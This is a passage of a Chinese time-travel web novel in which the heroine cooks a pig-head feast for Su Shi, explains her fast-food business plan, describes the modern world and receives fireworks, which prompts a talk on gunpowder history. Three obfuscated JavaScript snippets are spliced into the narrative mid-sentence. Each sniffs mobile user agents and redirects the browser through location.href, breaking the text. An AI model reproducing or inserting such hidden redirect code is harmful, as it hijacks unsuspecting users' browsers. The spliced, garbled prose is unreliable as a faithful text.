王文茵二话不说，立马指挥周婆子、王大崔过来帮忙，先用火将猪头表面的毛发燎焦，刮除干净后沿着猪鼻中线用剁骨刀劈开成两瓣。随后让周婆子小心翼翼取出猪脑花，剔除猪头上的淋巴结后，再将两只猪耳朵和一条猪舌完整切割下来。【注1】 接着将其中一瓣猪头上的脸肉分割，额头骨、脑骨剁成小块，除了另一瓣猪脸，其余猪头上的肉全部剔下来备用。随后将猪耳、猪舌、猪脸肉、猪脸皮连同额头骨、脑骨一起焯水，焯去血沫后洗净备用。【注1】 不到一会儿功夫，一只猪头便被分割成了十来种不同的部分，整整齐齐码在案板台上。 苏轼见状不由打量指挥若定的王文茵，啧啧称奇：“阿茵是从何处学来这庖丁解猪之术？” “我呀，”王文茵神秘兮兮道：“是从太虚幻境中学来的。” 74. 第七十四章 苏轼自然是不信的，他知道王安石在金陵隐居的时候经常骑着毛驴，带着他的一双孙儿四处走访、游山玩水。金陵此地人杰地灵、能人辈出，王文茵从小跟随在她祖父王安石身边，见多识广并不稀奇。 苏轼权当她是在说笑，用手指点了点她，笑道：“你这促狭的丫头，诓我是不是？” 就知道你不会信！王文茵心说，这般离奇的事说出来也没几个人敢信，除了赵元宁那种天真烂漫的人。王文茵忽然想起文安世来，不知他会不会信？ 王文茵拿出自己亲手调制的味精请苏轼品尝。 苏轼好奇地用手指捻了一小撮味精，放进嘴里，两条眉毛瞬间挑起，“这是何物？为何如此鲜香？” “这叫味精，乃是我亲手所制。” “何谓‘味精’？” “味精便是用来辅助食物增鲜调味的一种调料。” “这‘味精’又是如何制作的呢？” “自制味精的原材料都是天然的食材，我选用的是干香菇、紫菜、瑶柱和虾皮这四种材料。”王文茵拿出原材料给苏轼看：“将这些食材清洗干净后放入锅中小火烘炒至干脆，再混合后研磨成细粉便成了。”【注1】 苏轼饶有兴致地又捻了一撮味精品尝，边尝边点头，“唔，确实有香菇的浓香，咸鲜的口感应是来自海洋的产物，妙哉！”眯起一只眼，半开玩笑道：“莫非这‘味精’又是阿茵从太虚幻境中学来的？” “正是呢！” 苏轼哈哈大笑，当然不信。 王文茵无奈摊手，一时间不知是该感到庆幸还是失落，庆幸的是就连苏轼这样的大儒都不会轻易相信穿越这种事存在，失落的是这世上懂她的人实在太少。 “小娘子，这猪脑花打算怎么做呀？”周婆子提醒道。 差点忘了正事，王文茵将自己特制的味精撒在猪脑花上，“阿婆，将我们昨日做的豆腐连同这脑花，再切点葱姜一块儿蒸熟便成。” 吩咐完周婆子，王文茵熟练地将猪舌去除舌苔膜，清洗干净，连同猪耳、猪脸、额头骨、脑骨，一股脑扔进大锅中，加上八角、桂皮、花椒、糖色、酱油和适量的盐开始卤制。 “没做过‘去势’手术的猪腥臭味大，须得先卤制方能压制住这味儿。”王文茵给苏轼解释道。 苏轼惊讶不已，“阿茵连‘劁猪’术都知道？” 王文茵促狭一笑，“我都告诉大人这些专业知识都是我在太虚幻境中学来的，可叹大人偏不信我所言。” 这下连苏轼都要开始怀疑王文茵说的可能是真的了，只不过劁猪术并不罕见，在苏轼的老家蜀地就有专门帮人阉割猪的劁猪匠，于是他笑着揶揄道：“若真如此，那我便举荐阿茵去做宰执，为天下黎民百姓谋福，可好？” 王文茵却摇头，“不做宰执也一样可为天下黎明百姓谋福。” 苏轼微微一愣，继而大笑，看似在说王文茵，更像是在说自己，“阿茵果然聪慧，朝堂之上，波诡云谲，稍有不慎，便容易万劫不复，你又何必趟这浑水呢？” 联想到自己的祖父王安石和苏轼的遭遇，他们这一生为国为民，鞠躬尽瘁，死而后已。可他们这些忠臣的晚景却都这般凄凉，王文茵感到难过的同时更加坚定了要远离是非纷争的漩涡中心的决心。 “大人可知为何我要做这‘全猪宴’？”王文茵道。 苏轼顺着她的话问道：“为何？” “因我计划去汴京城开连锁的快餐店，而这一向被视为‘贱肉’的豚肉便是快餐店的主打菜品。” 苏轼一头雾水，快餐店是干什么的？他从未听说过。 “快餐店相当于升级版的食肆，不同之处在于快餐店的菜肴种类多且全，统一由后厨做好后摆在就餐大堂任由食客按自己的喜好选购，主打一个价廉物美、应有尽有。”王文茵解释了苏轼的疑惑。 苏轼眼睛一亮，“嚯，听起来甚是有趣，可否说得更为详细一些？” “快餐店走的是平价餐饮路线，主要客户群体是收入中等以下的普通百姓，我给它的定位是全时段极致性价比平民餐饮模式。”王文茵剖析道：“平价餐饮模式盈利的核心就是降本增效，降本的关键有三。”【注1】 “其一租金，众所周知的原因汴京城内店铺租金极其昂贵，是以快餐店店面选址很重要，既不能太中心，因为中心租金太高昂，也不能太偏僻，太远了也没人去，最好靠近居民区。店铺面积无须太大，店铺面积小反而生命周期长，相应的成本也会降低。而提高店铺利用率最好的办法就是做‘全时段餐饮’。汴京城的餐馆酒楼大都只做早餐和晚餐【注2】，快餐店不仅做早餐和晚餐，还要做午餐和宵夜。食客不管什么时间段过来，都能吃到热腾腾新鲜出炉的美味。”【注1】 “其二人工，自选快餐店不需要店小二，人工可以精简到只有厨师、掌柜和清洁工，厨师负责做菜和装菜，掌柜负责收银和管理，清洁工负责打扫和清理，食客自行挑选所需食物，自行埋单结账后便可堂食或外带。”【注1】 “其三菜价，快餐店面向中低层收入群体，饭菜价格必须亲民，主打一个价廉物美。恰好我们自己的农场可以给快餐店供货，省去了中间商赚差价。食物不分贵贱，但不同的食材根据饲养种植的时间周期和环境条件，自然是有不同的价位。猪肉比羊肉便宜，猪的不同部位口感也不一样，相应的价格自然也不同。而料理食材所需的人力物力和时长的差别，也会对菜品的价格产生不同的结果。但有一点是必须保证的，那便是食品安全，快餐店所用的食材一定必须是新鲜优质的食材。”【注1】 苏轼边听边点头，“好想法！” “以上三点是关于如何降本，至于如何增效，也有三个关键点。其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148585|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刚需，中低层收入的百姓并不关心菜品摆盘是否精致，使用的食材是否昂贵稀缺，他们在意的是能否吃饱吃好，是以份量大的米面粉类主食和价廉物美的现炒类菜肴便是快餐店的招牌主打产品。”【注1】 “其二低销，也就是人均消费必须控制在低价实惠，能让大多数人接受的范围内。是以，除了精简人工、减少租金支出外，食材的选择也会对成本产生影响。在主食方面除了米饭、蒸饼、汤饼外，我们还有自己生产的米线。而比主食和蔬菜稍贵的肉类，我们可以选用一些看似不起眼的‘边角料’，诸如猪头、猪蹄、猪下水、鸭头、鸭掌、鸭翅、鸭脖等食材，通过独特的料理手法将它们变成不可多得的美味。”【注1】 “其三高频，一家餐馆刚开业的时候人流量大不稀罕，毕竟世人都图个新鲜，待新鲜劲过去了，稳定的回头客才是快餐店在餐饮业竞争激烈的汴京城内立足的根本。想要留住食客，就必须让食客觉得我们的食物好吃，并且永远吃不腻，最好的办法就是做小碗菜。”【注1】 “小碗菜？”苏轼思忖道：“倒确实是个好办法，菜量小、品种多，每天换着花样吃，怎么吃都吃不腻。” “正是如此，所以快餐店不仅要有招牌菜和各种受众广的炒菜，还要时不时推陈出新，根据季节变化供应时令菜肴。食客们既能吃到自己喜欢的菜，又能吃到新鲜的美味，如此这般才能留得住客源。”王文茵道。【注1】 “妙啊！你这家‘快餐店’若是真在汴京城里开起来，怕是不火爆都难。价廉物美、实惠亲民、全时段供餐，这不比勤政门供应的‘廊餐’更有性价比？【注3】恐怕到时候不止是平民百姓，就连中低层的官员都会蜂拥而至。”苏轼有些迫不及待了，“阿茵打算何时将快餐店开起来呀？” “前期筹备怕是需要很长一段时日。”王文茵掰着手指细数：“从店面选址，装修改造，培养厨师，拟定菜单，完善供应链……这一切的准备工作须得万无一失方可开张营业，否则一旦其中一个环节出错，便容易前功尽弃。” 苏轼扼腕叹息：“看来想去阿茵的快餐店打牙祭还需耐心等上好长一段时日诶。” 王文茵掩嘴笑，“大人若是想打牙祭，我倒是有一个提议。” “什么提议？” “我想聘请大人做我的品菜官。” “品菜官？……阿茵是想让我帮你试菜吗？”苏轼好笑地看向王文茵。 王文茵一本正经点头道：“是的。汴京城内，哦不，是大宋朝境内再没有比苏大人更好的品尝官了。大人若是能助我一臂之力，那我必能将这家连锁快餐店开遍汴京城。” 苏轼朗声大笑，给王文茵竖起大拇指，“你这丫头，有志气！” “大人这是答应我了？”王文茵不给苏轼反悔的机会，狡黠笑道：“为表正式，不如我们口头立个契？” 75. 第七十五章 苏轼被王文茵连哄带忽悠着答应下来做她的快餐店品菜官，虽然王文茵坚持要支付酬劳，却被苏轼婉言谢绝了。他给的理由是收费做品菜官就是一份工作了，不像兴趣爱好那般能给人带去那么多快乐，吃于他而言乃是人生的至高享乐，他不想把吃这件事当成工作来对待。 于是王文茵便想了一个折中的办法，她要给苏轼设计一张至尊贵宾卡，今后但凡是她的餐饮店都将对苏轼终身免费开放。 对于王文茵的这番好意，苏轼倒是没再拒绝，反正再好吃的店他也不会天天去吃。 就这样双方愉快地达成了合作。 品菜官苏轼新官上任第一把火烧的便是这“全猪宴”，王文茵跟变戏法似的将一只猪头整出了十道菜。 “这第一道菜叫‘鸿运当头’。”王文茵将半瓣卤制过后的猪脸摆在苏轼面前，再“刺啦”一声淋上爆炒过的葱姜蒜调料，卤肉的香味缠绕着爆炒的锅气，苏轼深吸一口，陶醉道：“这便是人间烟火气了。” “第二道叫‘脆响福音’。” 苏轼一看王文茵端上来的是凉拌猪耳朵，乐得哈哈大笑：“好一个‘脆响福音’！” “第三道名为‘招财进宝’。”王文茵嬉笑道：“其实就是佐酱猪舌。” “那这又是什么呢？”苏轼指着周婆子刚从蒸笼里取出来，还冒着热气的豆腐炖猪脑花问道。 “这个呀，这叫‘智慧汤’。”王文茵掩嘴笑：“以形补形嘛。” 苏轼忍俊不禁，“‘鸿运’、‘福音’、‘招财’、‘智慧’，一只猪头居然能玩出这么多花样的菜肴来，今日我可是大开眼界了，哈哈。” “要不怎么说猪浑身都是宝呢，不止猪头能做这么多菜，猪身上其他部位可做的菜多了去了。”王文茵掰着手指头如数家珍：“猪的两条后大腿可用盐渍来做火腿；肋排熏烤或糖醋都是无上美味；猪蹄猪尾先卤后烤，滋滋冒油，咬一口焦香四溢；猪小肠祛除不需要的组织后剩下半透明的坚韧肠衣用来做风干腊肠，想吃的时候切几片，连同米饭一起煲便是锅巴焦脆的香肠煲仔饭；还有清酱肉、回锅肉、豆儿酱、桂花皮炸、卤煮炒肝、梅菜扣肉、粉蒸排骨、九转肥肠、酸菜烩猪大骨……一头猪变着花样能从年头吃到年尾哩。”【注1】 苏轼狠狠地咽了咽口水，戏谑道：“阿茵这是打算逮着一头猪把它的刚毛都薅秃噜了。” 王文茵摊手，“谁叫猪又便宜又好吃呢。” 苏轼赞许地看着王文茵，仿佛在她身上看到了故友王安石的身影。她继承了她祖父身上的许多优点，却又不像她祖父那般执拗倔强，她比她祖父更理性圆滑，她何尝真的需要什么品菜官，她是知道自己生活拮据，才想方设法给自己改善生活呢，这样良善的孩子他又怎能拂了她的好意。 “看来我这个品菜官太有口福咯。”苏轼笑道：“难怪大家都说跟着王小娘子才有饱饭吃，依我说跟着王小娘子岂止是有饱饭吃，还有享不尽的美食佳肴呢。” 王文茵掩嘴笑道：“大人取笑我呢，谁人不知我朝首席美食博主东坡居士苏大人遍尝天下美食，什么样的山珍海味是大人没吃过的？我做的这些粗茶淡饭，能入得了大人的眼是我的荣幸。” 苏轼摆了摆手，“山珍海味不过是一时之欢，粗茶淡饭才是长久之乐。阿茵能将看似不起眼的食材料理成色香味俱全的美食，比宫里御膳房的大厨只有过之而无不及。” “大人高看我了，这些菜肴其实都不是我自己原创发明的，我不过是依样画葫芦，将民间流传的菜谱照搬照抄而已，委实不敢掠美。”王文茵其实想说的是猪肉能流芳百世，全赖苏大人你呢。 苏轼倒是相信王文茵说的，毕竟以她的年龄和阅历不可能知道的比自己这个吃货还多，他猜测王文茵做的这些菜应该都是从她祖父王安石收集的菜谱中学来的。 “不论是原创还是照搬，阿茵能将这些菜谱拿出来改善百姓们的生活，便是一大善举。”苏轼鼓励她：“你尽管放手去做，我这个做长辈的一定会全力以赴支持你。” 王文茵拍手笑道：“有苏大人这样的骨灰级美食家助我一臂之力，焉能不成！” 苏轼大笑之余，脑海中忽地回响起王文茵说的那句“从太虚幻境中学来的”话，仔细寻味，似乎也不是不可能，尤其是她说的很多话语似乎都跟这个时代格格不入。 王文茵自然不知道苏轼在想什么，她心满意足地看着苏轼将十道猪头做的菜都品尝了一遍后，便请他提出需要改进的不足之处，以及如何将菜肴做得更加符合汴京人的口味。 她的看法是即便这些菜谱经过千年的进化，流传到后世已臻成熟，但不同朝代不同地区的人，口味还是有着天壤之别，将菜谱本土化才能更好地服务汴京百姓，不然为什么后世那些舶来货麦当劳、肯德基要在中国卖豆浆油条呢？ 苏轼见王文茵将自己所说的每一处改进意见都详细记录在册，不由暗暗赞叹，这年头掌握一项核心技术就能吃遍天下，问题是王文茵掌握的可不止一项核心技术。以她的能力想在汴京城立足根本无需这么努力，单靠卖米粉就能让她们姐弟这辈子衣食无忧，但她的理想显然不是独乐乐。 “阿茵做这些事是为了完成介甫兄的遗愿？”苏轼合理猜测道。 王文茵拿笔的手顿住了，抬起头来看向苏轼，眨眨眼，“祖父并未留下任何遗愿，即便有也不会交给我去完成，阿弟尚且年幼，更加不可能对他寄予厚望。” 苏轼不解，“那你却为何……” 王文茵没办法告诉苏轼，她穿越后世清楚知道北宋的历史发展将走向何方，即便知道自己无法改变历史，但她也想尽自己所能从衣食住行各方面去改善北宋人民的生活现状。 “我做这些事图的是自己开心，就像厨师看到自己做的菜被食客大快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153412|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵颐一样，被需要是很快乐的事。苏大人不也是如此吗？” 苏轼但笑不语，心说，我怎么总是被你这丫头给绕进去。 王文茵收起手中的笔记，神秘兮兮道：“适才大人品尝的这十道猪头菜乃是开胃点心，接下来要呈现给大人看的才是今晚的头盘主菜。” “这十道菜已然十分美味，不知阿茵还有什么好菜？” “大人请看。” 王文茵将事先备好的五花肉拿出来放入砂锅中，加入花雕酒和糖色、香料、酱油，大火烧开后用小火慢炖。 “这是……”苏轼惊讶道：“这道菜竟是用一整壶花雕酒慢炖而成？” “正是呢。” “难怪，难怪你会问我讨要花雕酒，我还在想若是被介甫兄知道我让他孙女饮酒，不知他会不会从地底下爬出来痛斥我，哈哈。” “其实这道菜是苏大人您教我的。” 苏轼疑惑：“我几时教过阿茵如何烹煮豚肉？” “大人担任黄州团练副使期间曾作过一首打油诗《猪肉颂》，诗中写到‘净洗铛，少著水，柴头罨烟焰不起。待他熟时莫催他，火候足时他自美。黄州好猪肉，价贱如泥土。贵者不肯吃，贫者不解煮。早晨起来打两碗，饱得自家君莫管。’我便是从大人这首诗中学会了料理豚肉的秘籍。”王文茵笑道：“是以我给这道菜取名‘东坡肉’，这是专为大人而做的。”【注2】 苏轼错愕万分，他怎么都想不通自己一时兴起随手涂鸦的打油诗是如何传到王文茵这里的。 “阿茵从何得知我这首打油诗？” 王文茵当然不能说您这首《猪肉颂》在后世流传甚广，只故作惊讶道：“莫非大人不知您的诗词有着‘凡有井水饮处皆能歌’之美名？”【注3】 苏轼这辈子从不缺夸他有才华的人，只是当面被人这么夸还是生平头一遭，他也有点扛不住，“你这丫头，是来打趣我的不是？一首打油诗，岂能流传这么广。” “大俗即大雅，越是通俗的诗词流传便越广，无他，唯朗朗上口尔。”王文茵胡诌起来那叫一个头头是道。 苏轼整个啼笑皆非，拱手道：“承蒙厚爱，老夫愧不敢当。” “大人若是不敢当，还有谁敢当？”王文茵将一锅冒着热气的东坡肉端上来献给苏轼，俏皮道：“这锅东坡肉是奴家身为大人的头号粉丝献给苏大人的新年礼物，请大人品鉴。” 苏轼抬起的筷子停在了半空，“何谓头号粉丝？” “头号粉丝便是头号拥趸的意思，这是我从民间学来的通俗词汇。”王文茵自知说漏嘴，赶紧转移话题，笑嘻嘻道：“相传唐朝诗人白乐天的头号粉丝葛青曾将他的诗纹在身上，借此向偶像表达自己的崇拜之情，而我对大人的崇拜之情都囊括在这锅东坡肉里了。”【注2】 苏轼凝神思索片刻后忽道：“莫非阿茵真的去过太虚幻境？” 76. 第七十六章 王文茵没料到苏轼忽然提出这个问题来，怔愣半晌道：“大人为何有此一问？” 苏轼道：“起先你说你去过太虚幻境，我权当你是在说笑呢，即便你做的这些菜肴和米线，还有那个水泥混凝土都是我未曾见过的东西，但我朝疆域广袤，民间风物繁多，许是介甫兄生前在游历途中见识过记载下来的也未尝可知。” “那大人为何又信……” “我为何又信以为真？”苏轼笑道：“直觉。未曾见过的事物不代表它就不存在，对于异象可以不信，却不可以不敬。偏偏老夫又是好奇心极重之人，若真有太虚幻境存在，即便不能亲自前往，能从你这儿探听一二，又未尝不是一件幸事。” 原来如此。 王文茵从来没想过要对苏轼隐瞒自己的奇幻经历，相反能跟自己信赖的人分享见闻远比自己一人独享要快乐多了。她将自己感染时疫人事不省之时，进入太虚幻境穿越去了后世的所见所闻一五一十告诉了苏轼。 苏轼新奇地听着王文茵描述了一个千年后的朝代，那里的人吃的穿的行的住的与这个朝代是多么的不同。原来一千年以后人真的可以在天上飞，还能飞到月亮上去；原来月亮上没有嫦娥吴广，没有特殊的机器辅助，人甚至都不能生存；原来千年以后坐什么“高铁”从汴京到临安只需不到三个时辰；原来现代人已经不再写信，他们可以随时随地用“智能手机”联络，还能看见彼此…… “千年后的人还用得着吃饭吗？”苏轼冷不丁冒出一个无比幼稚滑稽的问题来。 王文茵咯咯笑，“吃呀，千年后的人跟咱们朝代的人并无太大区别，若说有那便是比咱们个子更高一些，身体更强壮些，肥胖的人更多一些。当然也不是所有人都肥壮，现代人以瘦为美，他们为了好看甚至还绝食不吃东西哩。” 苏轼啧啧摇头，“不敢想象千年后物产竟如此丰饶，丰饶到有人要靠绝食来维持美丽。” “其实物产丰饶也只是近二三十年的事，在这之前这个国家一度被外族入侵，差点覆灭，所幸有天选之人降临，将国家和百姓拯救于危难之中，才有了后来的富强繁荣。” 苏轼深以为然：“可见不管是哪个朝代，百姓想要安居乐业都得有英明神武、心怀天下的领导人啊。” “大人说的是。”联想到不久的将来北宋王朝即将迎来一位不着调的文艺青年登基为帝，整个王朝因他的昏庸无能最终走向灭亡，王文茵的内心控制不住涌起一股悲凉寒意。 苏轼张了张嘴，似乎想问什么，话出口时却是：“后世的人闲暇时可有什么消遣娱乐？” 说起消遣娱乐，王文茵的心情顿时又亮堂起来，“后世的消遣可多了，跟咱们一样，现代人闲时也喜欢看戏、听曲、抚琴、喝茶、饮酒、游宴、踏春、泛舟、投壶、弈棋、双陆等活动，只是叫法上略有不同。” “哦，那现代人是如何称呼这些休闲活动的呢？”苏轼感兴趣道。 “后世的人管游山玩水叫旅游，从自己住的城去到别人住的城叫度假，登高望远叫徒步，野外风餐露宿叫露营，蹴鞠叫踢足球，还为此开展了国与国之间的比赛，不过咱们的后人蹴鞠水平嘛……咳……不提也罢。” 苏轼扼腕叹息：“蹴鞠可是我国源远流长的一项传统活动，怎地到了后世却没能将这优良传统传承下去呢？” 王文茵尬笑，“后世之人管他们的国家足球队叫‘国运平衡器’，意即足球踢得越烂国运便越强，嘿嘿。” 苏轼错愕：“还能如此挽尊？传扬开去岂不是贻笑大方？” “可不是嘛。”王文茵耸肩：“这也是球迷失望至极后自我安慰罢了” 苏轼啼笑皆非，忽又想到，“后世之人也爱看戏？” “后世人也爱看戏，与咱们这儿不同的是他们都去‘电影院’看戏。”王文茵在黑板上画给苏轼看，“喏，电影院就是一间黑漆漆的屋子，前方有一块幕布，正对着幕布的后方则是一台投影机，房间四周还有音响，音响就是放声音的。投影机将拍摄下来的戏文投到幕布上，音响会同步放出声音，人便可以沉浸其中，享受看戏的乐趣了。” “千年后的戏文讲的都是些什么？” “千年后的戏文种类繁多，既有讲悲欢离合、男欢女爱的，也有讲灵异恐怖、悬疑推理的，还有传奇神话、科幻未来，甚至还有讲关于咱们这个朝代的历史故事……” 说到这里王文茵停顿下来，她以为苏轼会好奇想问她大宋朝的历史将会如何演变。结果没想到苏轼沉吟片刻只是“哦”了一声，什么都没问。 “苏大人不好奇大宋的历史走向是什么样的吗？” 苏轼含蓄地笑了笑，摇头，“好奇也不能改变历史，不是？” 王文茵点头。 “若是我知道自己的死期，那我岂非每日都要活在死期将临的恐惧之中？这跟头顶悬着一把剑有何区别？何苦呢，有些事不知道比知道好。”苏轼自我嘲解道：“醉生梦死也未尝不是一件好事，与其杞人忧天，不如今朝有酒今朝醉。” “大人睿智。” 苏轼忽然严肃道：“阿茵切记不可再将穿越太虚幻境之事告知他人，以防居心叵测之人对你不利。” “多谢大人提点，阿茵必定铭记在心。”王文茵朝苏轼行了一礼。 苏轼含笑看着她，“相形之下，老夫其实更佩服阿茵你啊。” “大人何出此言？” “你能将后世先进的技术拿出来造福百姓，而不藏私独享，这才是至真至纯的大智之人。” 王文茵被苏轼夸得有些不好意思，“大人过奖了，我只是认为既然无法改变历史，那将一部分后世先进的技术提前用来改善我朝百姓的生活，也不会对历史造成不利影响。况且我做的这些东西历史上的确记载了是从我朝开始出现的，这东坡肉便是最好的例子。” 说到东坡肉苏轼哈哈大笑，“想不到后世居然真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157841|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有以我命名的菜肴，甚是有趣。” 王文茵掩嘴笑道：“苏大人的美名可是名扬千古呢。” “哦？”苏轼突然很好奇，“后世的人都是如何编排老夫的？” 王文茵给出了最恰如其分的评介：“后世的人称苏大人是唐宋八大家中最懂美食的，也是吃货中诗词文章写得最好的。” 苏轼笑得前仰后合，“好，好，这评介深得老夫的心，哈哈哈哈……”笑够了他忽然又问道：“阿茵适才提及的唐宋八大家是哪八位文人？” “唐宋八大家是后世明朝的人标举的唐朝和宋朝的八位文人，在明以后凡治古文者皆以这八大家为宗。”王文茵道：“而这八位文坛大宗师分别为唐代的韩愈、柳宗元，宋代的欧阳修、曾巩、祖父王安石、大人您的父亲、兄弟和您自己。”【注1】 苏轼边听边点头，当听到自己和父弟皆入围了唐宋八大家竟然有些意外，但他并未对此发表看法，而是谦逊地笑了笑，道：“承蒙后人抬爱，老夫深感荣幸。” “大人不为自己身后留名一事感到开心吗？” 苏轼苦笑，“你都说了是身后之事，流芳百世也好，遗臭万年也罢，不过是浮云，哪有眼下这‘全猪宴’来得实在，有道是人间至味是清欢哪。【注2】哎，此刻若是有酒就更好了。” “有酒，有酒，我这儿还有几坛大人托人送来的花雕酒呢。”王文茵转身跑去取酒。 苏轼在背后喊：“咳，那酒是赠予你的……” 王文茵捧着一坛花雕回来，放桌上起开后，斟上一杯给苏轼，自己则拿起一杯茶，脆声道：“我以茶代酒敬祝大人新年快乐！万事如意！岁岁平安！福寿安康！合家欢乐！……” 苏轼举起酒杯回敬道：“那我也祝阿茵来年五谷丰登！人乐丰年！三阳开泰！心想事成！四季平安！……” 说完苏轼同王文茵碰了一下杯，饮尽杯中酒水后两人不约而同哈哈大笑。 这时周婆子推门进来禀告：“小娘子，文家小厮陈武来了。” 王文茵十分诧异，“小武哥不是同文老夫人、七衙内一道儿回京城了吗？突然跑来是发生什么事了吗？” “他说是替七衙内给小娘子送新年礼物来了。”周婆子笑眯眯道。 王文茵便同苏轼一道出去看究竟。 陈武驾着一辆马车从汴京赶来静缘庵，此时马车正停在山脚下，王大崔指挥鲁大几人帮陈武将车上的“礼物”一箱箱往山上搬。 “大家小心轻放，千万别摔地上啊。”陈武带头将一箱不知何物往院子里扛。 王文茵诧异地看着地上摆着一箱箱用油纸捆扎牢实的东西，问他：“小武哥，这是何物？” 陈武将肩上的一箱“礼物”卸下来，小心翼翼摆放到地上，笑嘻嘻道：“这是烟花呀，还是七郎特地从汴京城鼎鼎大名的烟花表演大师李外宁家铺子里购得，让我专程送来晚上放给小娘子赏玩的新年礼物呢。” 77. 第七十七章 一听说晚上要放烟花，院子里的大人小孩都沸腾了。 北宋朝贫富差距大，别说这些从外省逃难来的流民，连丰收村本地的村民都极少看过专业的烟花表演，只在逢年过节或遇上什么重大的庆祝活动时才有机会到附近的朱仙镇上观摩街头艺人的烟火表演，跟汴京城里皇家举办的大型烟火秀不可同日而语。 “这真的是烟花？”王大崔的心情跟孩子般雀跃，欢喜得手舞足蹈，“不瞒你们说，老王我活了这把年纪都还没见过放烟花呢，今日可算是沾了小娘子的光了。” 见识过汴京城大型烟花表演的周婆子在王大崔面前秀起了优越感，“连烟花都没见过啊，那你先前都是咋过的年？” “放爆竹啊，我们老家都是放爆竹的。”王大崔不以为意，比手画脚解释：“在我们老家除夕夜都会把竹节扔进火盆里烧，等到噼噼啪啪爆裂开来，守着火盆的孩子就跟着大喊一声：‘大熟！’。如此方能将恶鬼驱散，来年定是一个丰收的好年景。”【注1】 “王老丈可是澧州（今湖南常德）人士？”苏轼问道。 “回大人的话，小的正是澧州人。”王大崔拱手回道。 苏轼捻须笑道：“你们澧州人过年放的这个‘爆竹’其实是从汉朝传下来的，到了咱们大宋朝初年曾有人将木炭、硫磺和硝石粉加入竹节之中，发明了最早一批烟花。再后来经过改良，竹节烟花又变成了装有火药和引信的卷纸管，传统的烟花便逐渐成型。若将小的卷纸管烟花绑在长条的纸上就能连续燃放，这种也叫百子鞭炮。”【注1】 “如此说来，这烟花倒是同火药差不多？”陈武道。 苏轼十分诧异，陈武这个小厮竟然还知道火药，细问之下方才得知陈武的兄长陈斌乃是“广备攻城作”内分管火药的小头目。 “广备攻城作”隶属军器监，是全世界最早、最大、也最著名的大型兵工厂。【注1】 由于北宋是世界上最早将火药应用于战争的朝代，当火药与兵器相结合便诞生了“火器”。从“火器”诞生的那一刻起，中国古代的军事战争就从冷兵器时代正式迈入了火器和冷兵器并用的时代。【注1】 为了制造大量先进的“火器”用于战备，北宋政府建立了两座“广备攻城作”，一座位于开封，一座位于洛阳。“广备攻城作”分工精细，下设火药、青窑、猛火、油、金、火、大小木、大小炉、皮作、麻作、窑子作等十一个车间和百余个细分项，其中的“火药作”就是专门负责制造火药与火器的车间。【注1】 在军器监的严格管理下，“广备攻城作”重视技术保密，各作的手工生产都有一定的工艺规范，工匠等须进行背诵，却禁止外传。而当初变法改革力主仿唐设立军器监，职掌中央和地方的兵器制造的人正是王文茵的祖父王安石。【注1】 “陈武说的没错，这烟花的诞生离不开火药的发明，可以说烟花就是火药的伴生品。唐朝的时候烟花还是作为军用的烟雾信号，到了咱们大宋朝烟花便成了节日庆典的表演嘉宾咯。”苏轼道。【注1】 “苏大人可知火药是何人发明的？” 陈武对火药火器有着浓厚的兴趣，在家时经常缠着兄长陈斌问东问西，可兄长却以保密为由从不肯对他泄露一个字，还是文安世将自己从书上看来的关于火药的知识传授与他，他才对火药略知一二。 “火药是何人发明的早已不可考。”苏轼回道：“据闻火药始于炼丹术，早在战国汉初年间，方士与道士为帝王贵族炼制仙丹过程中意外发现了□□。到了隋代，炼丹师尝试将硝石、硫磺和木炭混合成火药的三元体系，这便是后来民间流传的‘一硝二磺三木炭’配方，因其呈黑褐色，故名‘□□’。”【注1】 陈武道：“听我家七郎说唐朝有个姓孙的道士曾写过一本书，书里记述了制作火药的‘伏火硫磺法’，大人可曾听说？” “姓孙的道士？”苏轼闻言哈哈大笑：“可是孙思邈？” “正是，正是。”陈武不好意思搓搓鼻子：“我脑子笨，记不住人名。” 苏轼点头道：“孙思邈原是一名医者，因其践行‘大医精诚’之医德而闻名于民间，深受百姓崇敬。后被朝廷招揽执掌尚药局，不久便因病辞退，归隐终南山炼丹。他一生著有多本医学名著流传后世，其中最为著名的便是《千金方》，而你家七郎说的这个‘伏火硫磺法’便是出自他编著的《丹经内伏硫黄法》一文。”【注2】 “虽则隋唐时期就出现了火药，但真正将火药用于军事战争的却是我大宋朝。”陈武颇为自豪道：“据说太祖皇帝灭唐之战中就装备了大量火箭呢。” 读过几年书的鲁大却有些不以为然：“真的假的？既然我大宋朝军备实力如此强大，为何连燕云十六州都拿不回来？” “你——”陈武想反驳来的，却又不得不承认鲁大说的是对的，只是很不甘心，气愤道：“你懂什么！打仗光靠军备强就够了吗？ 